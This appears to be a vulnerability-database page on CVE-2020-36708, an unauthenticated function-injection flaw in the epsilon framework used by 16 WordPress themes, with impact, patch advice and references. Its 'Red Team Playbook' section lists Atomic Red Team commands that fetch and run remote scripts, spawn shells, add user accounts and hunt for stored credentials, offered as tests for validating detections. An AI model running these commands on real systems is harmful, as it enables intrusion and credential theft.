CVE-2020-36708
Overview
This vulnerability is a function injection flaw originating from improper validation of AJAX actions within the epsilon_framework_ajax_action handler in multiple WordPress themes. The root cause lies in the insecure exposure of PHP function calls via AJAX endpoints, allowing unauthenticated HTTP requests to invoke arbitrary functions. The affected component is the epsilon framework used by various WordPress themes, which fails to restrict or sanitize function parameters before execution.
Vulnerability Description
The following themes for WordPress are vulnerable to Function Injections in versions up to and including Shapely <= 1.2.7, NewsMag <= 2.4.1, Activello <= 1.4.0, Illdy <= 2.1.4, Allegiant <= 1.2.2, Newspaper X <= 1.3.1, Pixova Lite <= 2.0.5, Brilliance <= 1.2.7, MedZone Lite <= 1.2.4, Regina Lite <= 2.0.4, Transcend <= 1.1.8, Affluent <= 1.1.0, Bonkers <= 1.0.4, Antreas <= 1.0.2, Sparkling <= 2.4.8, and NatureMag Lite <= 1.0.4. This is due to epsilon_framework_ajax_action. This makes it possible for unauthenticated attackers to call functions and achieve remote code execution.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary PHP functions on the server, resulting in full remote code execution. No user interaction or authentication is required (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling attackers to compromise the web server hosting the affected WordPress themes. This can lead to data theft, website defacement, or pivoting within the network, severely impacting business operations and data confidentiality.
Solution
Users should upgrade affected WordPress themes to versions that include patches for the epsilon framework vulnerability as detailed in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/5b75c322-539d-44e9-8f26-5ff929874b67). Specifically, update to theme versions beyond Shapely 1.2.7, NewsMag 2.4.1, Activello 1.4.0, Illdy 2.1.4, Bonkers 1.0.4, Antreas 1.0.2, and others listed. The referenced blog post from Nintechnet and Wordfence blog provide detailed patch instructions and mitigation steps for administrators.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in certain WordPress themes arises from a flaw in the implementation of the epsilon_framework_ajax_action function, which allows unauthenticated attackers to execute arbitrary functions on the server. This vulnerability is particularly concerning as it exposes multiple themes to remote code execution (RCE). The affected themes include popular options such as Shapely, NewsMag, and Activello, among others, which are widely used in various WordPress installations. The flaw stems from inadequate input validation and insufficient access controls, enabling malicious actors to craft requests that invoke sensitive functions without proper authentication.
Attack vectors for exploiting this vulnerability are straightforward, as they require minimal technical expertise. An attacker can send specially crafted HTTP requests to the vulnerable themes' endpoints, triggering the execution of arbitrary PHP functions. This could lead to the installation of malware, data exfiltration, or complete server takeover. The ease of exploitation makes this vulnerability particularly dangerous, as it allows attackers to target a broad range of websites that utilize the affected themes, potentially compromising thousands of installations with a single exploit.
The real-world impact of this vulnerability can be significant for businesses relying on these WordPress themes. Successful exploitation can lead to unauthorized access to sensitive data, loss of customer trust, and potential legal ramifications due to data breaches. Moreover, the presence of malware on a website can result in blacklisting by search engines, leading to decreased visibility and revenue loss. For organizations that depend on their online presence for sales and customer engagement, the risks associated with this vulnerability can translate into substantial financial losses and reputational damage.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular security audits and vulnerability assessments can help identify affected themes and ensure they are updated to the latest secure versions. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. It is also crucial for website administrators to monitor logs for unusual activity that may indicate an attempted exploit. Educating users about the importance of maintaining updated software and employing strong authentication methods can further reduce the risk of exploitation.
In conclusion, the vulnerability present in various WordPress themes poses a severe threat to web applications, particularly due to its potential for remote code execution. The ease of exploitation, coupled with the significant impact on businesses, underscores the importance of proactive security measures. By implementing robust detection and mitigation strategies, organizations can protect themselves from the risks associated with this vulnerability and maintain the integrity of their web applications.
Affected Products (16)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Colorlib | Activello | All |
cpe:2.3:a:colorlib:activello:*:*:*:*:*:wordpress:*:*
|
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Colorlib | Bonkers | All |
cpe:2.3:a:colorlib:bonkers:*:*:*:*:*:wordpress:*:*
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|
Colorlib | Illdy | All |
cpe:2.3:a:colorlib:illdy:*:*:*:*:*:wordpress:*:*
|
|
|
Colorlib | Newspaper X | All |
cpe:2.3:a:colorlib:newspaper_x:*:*:*:*:*:wordpress:*:*
|
|
|
Colorlib | Pixova Lite | All |
cpe:2.3:a:colorlib:pixova_lite:*:*:*:*:*:wordpress:*:*
|
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|
Colorlib | Shapely | All |
cpe:2.3:a:colorlib:shapely:*:*:*:*:*:wordpress:*:*
|
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Colorlib | Sparklinkg | All |
cpe:2.3:a:colorlib:sparklinkg:*:*:*:*:*:wordpress:*:*
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Cpothemes | Affluent | All |
cpe:2.3:a:cpothemes:affluent:*:*:*:*:*:wordpress:*:*
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Cpothemes | Allegiant | All |
cpe:2.3:a:cpothemes:allegiant:*:*:*:*:*:wordpress:*:*
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Cpothemes | Brilliance | All |
cpe:2.3:a:cpothemes:brilliance:*:*:*:*:*:wordpress:*:*
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Cpothemes | Transcend | All |
cpe:2.3:a:cpothemes:transcend:*:*:*:*:*:wordpress:*:*
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Machothemes | Antreas | All |
cpe:2.3:a:machothemes:antreas:*:*:*:*:*:wordpress:*:*
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Machothemes | Medzone Lite | All |
cpe:2.3:a:machothemes:medzone_lite:*:*:*:*:*:wordpress:*:*
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Machothemes | Naturemag Lite | All |
cpe:2.3:a:machothemes:naturemag_lite:*:*:*:*:*:wordpress:*:*
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Machothemes | Newsmag | All |
cpe:2.3:a:machothemes:newsmag:*:*:*:*:*:wordpress:*:*
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Machothemes | Regina Lite | All |
cpe:2.3:a:machothemes:regina_lite:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
b1g-b33f/CVE-2020-36708
Proof of concept for CVE-2020-36708
|
b1g-b33f | 2 | 0 | 2025-08-18 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-36708 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/5b75c322-539d-44e9-8f26-5ff929874b67?source=cve |
| blog.nintechnet.com |
GitHub CVE
|
https://blog.nintechnet.com/unauthenticated-function-injection-vulnerability-fixed-in-15-wordpress-themes/ |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/blog/2020/11/large-scale-attacks-target-epsilon-framework-themes/ |
| blog.nintechnet.com |
GitHub CVE
|
https://blog.nintechnet.com/unauthenticated-function-injection-vulnerability-in-wordpress-sparkling-theme/ |
| wpscan.com |
GitHub CVE
|
https://wpscan.com/vulnerability/bec52a5b-c892-4763-a962-05da7100eca5 |